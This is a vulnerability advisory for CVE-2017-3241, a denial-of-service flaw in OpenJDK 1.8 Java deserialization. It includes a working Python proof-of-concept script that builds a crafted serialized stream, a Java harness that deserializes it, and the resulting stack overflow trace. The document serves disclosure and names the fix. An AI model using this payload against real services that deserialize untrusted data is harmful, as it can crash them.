Oracle OpenJDK Runtime Environment Build 1.8.0_112-b15 Denial Of Service

`Application: Java SE  
  
Vendor: Oracle  
  
Bug: DoS  
  
Reported: 23.12.2016  
  
Vendor response: 24.12.2016  
  
Date of Public Advisory: 17.01.2017  
  
Reference: Oracle CPU Jan 2017  
  
Author: Roman Shalymov  
  
  
  
1. ADVISORY INFORMATION  
  
Title: Oracle OpenJDK - Java Serialization DoS  
  
Advisory ID: [ERPSCAN-17-006]  
  
Risk: High  
  
Advisory URL:  
https://erpscan.com/advisories/erpscan-17-006-oracle-openjdk-java-serialization-dos-vulnerability/  
  
Date published: 17.01.2017  
  
Vendor contacted: Oracle  
  
  
2. VULNERABILITY INFORMATION  
  
  
Class: Denial of Service  
  
Remotely Exploitable: Yes  
  
Locally Exploitable: Yes  
  
CVE Name: CVE-2017-3241  
  
CVSS Base Score: 9.0  
  
  
3. VULNERABILITY DESCRIPTION  
  
  
An attacker can cause DoS of the application which uses OpenJDK Runtime  
Environment 1.8 as its core runtime engine.  
  
  
4. VULNERABLE PACKAGES  
  
  
OpenJDK Runtime Environment build 1.8.0_112-b15  
  
  
5. SOLUTIONS AND WORKAROUNDS  
  
  
Fix ObjectInputStream.skipCustomData() method, namely readObject0(false);  
call in switch statement  
  
Adress Oracle CPU January 2017  
  
6. AUTHOR  
  
  
Roman Shalymov (@shalymov)  
  
  
7. TECHNICAL DESCRIPTION  
  
  
An attacker can craft a malicious sequence of bytes that will cause JVM  
StackOverflowError in the standard Java deserialization process if it uses  
ObjectInputStream.readObject() method.  
  
  
  
7.1. Proof of Concept  
  
  
  
An attacker creates a malicious sequence of bytes, for example, using this  
python script pwn_ser.py:  
  
  
  
#!/usr/bin/env python2  
  
  
  
import sys  
  
  
  
exp = ""  
  
#serialization header  
  
exp += '\xac\xed\x00\x05'  
  
  
  
exp1 = ''  
  
exp1 += '\x72'  
  
exp1 += '\x00\x0c'+'java.io.File'  
  
exp1 += '\x41'*8  
  
exp1 += '\x00'  
  
exp1 += '\x00\x00'  
  
  
  
exp += exp1 * 10000  
  
  
  
sys.stdout.write(exp)  
  
  
  
and save it in exp2.ser file  
  
  
  
$ ./pwn_ser2.py > exp2.ser  
  
  
  
Let's simulate deserialization process. For this purpose, we create a  
simple Java program, which uses the following standard deserialization  
pattern:  
  
  
  
Serialize_read.java  
  
  
  
import java.io.FileInputStream;  
  
import java.io.ObjectInputStream;  
  
  
  
public class Serialize_read {  
  
  
  
public static void main(String args[]) throws Exception {  
  
  
  
if(args.length < 1) {  
  
System.out.println("usage: "+Serialize_read.class.getSimpleName()+"  
[file]");  
  
System.exit(-1);  
  
}  
  
  
  
FileInputStream fin = new FileInputStream(args[0]);  
  
ObjectInputStream oin = new ObjectInputStream(fin);  
  
  
  
try {  
  
Object objFromDisk = oin.readObject();  
  
String s = (String)objFromDisk;  
  
System.out.println(s);  
  
System.out.println("Successfully read!");  
  
}catch(Exception e){}  
  
System.exit(0);  
  
  
  
}  
  
  
  
}  
  
  
  
Let's try to read our malicious file (we can also simulate this stuff over  
network communication):  
  
  
  
$ javac Serialize_read.java  
  
$ java Serialize_read exp2.ser  
  
  
  
It causes the following error dump:  
  
  
  
Exception in thread "main" java.lang.StackOverflowError  
  
at  
java.io.ObjectInputStream$PeekInputStream.readFully(ObjectInputStream.java:2351)  
  
at  
java.io.ObjectInputStream$BlockDataInputStream.readUnsignedShort(ObjectInputStream.java:2834)  
  
at  
java.io.ObjectInputStream$BlockDataInputStream.readUTF(ObjectInputStream.java:2892)  
  
at java.io.ObjectInputStream.readUTF(ObjectInputStream.java:1075)  
  
at java.io.ObjectStreamClass.readNonProxy(ObjectStreamClass.java:684)  
  
at java.io.ObjectInputStream.readClassDescriptor(ObjectInputStream.java:833)  
  
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1609)  
  
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)  
  
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)  
  
at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)  
  
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)  
  
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)  
  
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)  
  
  
  
...  
  
at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)  
  
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)  
  
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)  
  
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)  
  
at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)  
  
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)  
  
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)  
  
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)  
  
at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)  
  
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)  
  
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)  
  
  
  
8. REPORT TIMELINE  
  
Reported: 23.12.2016  
  
Vendor response: 24.12.2016  
  
Date of Public Advisory: 17.01.2017  
  
9. REFERENCES  
http://www.oracle.com/technetwork/security-advisory/cpujan2017-2881727.html  
https://erpscan.com/advisories/erpscan-17-006-oracle-openjdk-java-serialization-dos-vulnerability/  
  
  
10. ABOUT ERPScan Research  
  
ERPScan research team specializes in vulnerability research and analysis of  
critical enterprise applications. It was acknowledged multiple times by the  
largest software vendors like SAP, Oracle, Microsoft, IBM, VMware, HP for  
discovering more than 400 vulnerabilities in their solutions (200 of them  
just in SAP!).  
  
ERPScan researchers are proud of discovering new types of vulnerabilities  
(TOP 10 Web Hacking Techniques 2012) and of the "The Best Server-Side Bug"  
nomination at BlackHat 2013.  
  
ERPScan experts participated as speakers, presenters, and trainers at 60+  
prime international security conferences in 25+ countries across the  
continents ( e.g. BlackHat, RSA, HITB) and conducted private trainings for  
several Fortune 2000 companies.  
  
ERPScan researchers carry out the EAS-SEC project that is focused on  
enterprise application security awareness by issuing annual SAP security  
researches.  
  
ERPScan experts were interviewed in specialized info-sec resources and  
featured in major media worldwide. Among them there are Reuters, Yahoo, SC  
Magazine, The Register, CIO, PC World, DarkReading, Heise, Chinabyte, etc.  
  
Our team consists of highly-qualified researchers, specialized in various  
fields of cybersecurity (from web application to ICS/SCADA systems),  
gathering their experience to conduct the best SAP security research.  
  
11. ABOUT ERPScan  
  
ERPScan is the most respected and credible Business Application  
Cybersecurity provider. Founded in 2010, the company operates globally and  
enables large Oil and Gas, Financial, Retail and other organizations to  
secure their mission-critical processes. Named as an aEmerging Vendora in  
Security by CRN, listed among aTOP 100 SAP Solution providersa and  
distinguished by 30+ other awards, ERPScan is the leading SAP SE partner in  
discovering and resolving security vulnerabilities. ERPScan consultants  
work with SAP SE in Walldorf to assist in improving the security of their  
latest solutions.  
  
ERPScanas primary mission is to close the gap between technical and  
business security, and provide solutions for CISO's to evaluate and secure  
SAP and Oracle ERP systems and business-critical applications from both  
cyberattacks and internal fraud. As a rule, our clients are large  
enterprises, Fortune 2000 companies and MSPs, whose requirements are to  
actively monitor and manage security of vast SAP and Oracle landscapes on a  
global scale.  
  
We afollow the suna and have two hubs, located in Palo Alto and Amsterdam,  
to provide threat intelligence services, continuous support and to operate  
local offices and partner network spanning 20+ countries around the globe.  
  
  
  
Adress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301  
  
Phone: 650.798.5255  
  
Twitter: @erpscan  
  
Scoop-it: Business Application Security  
`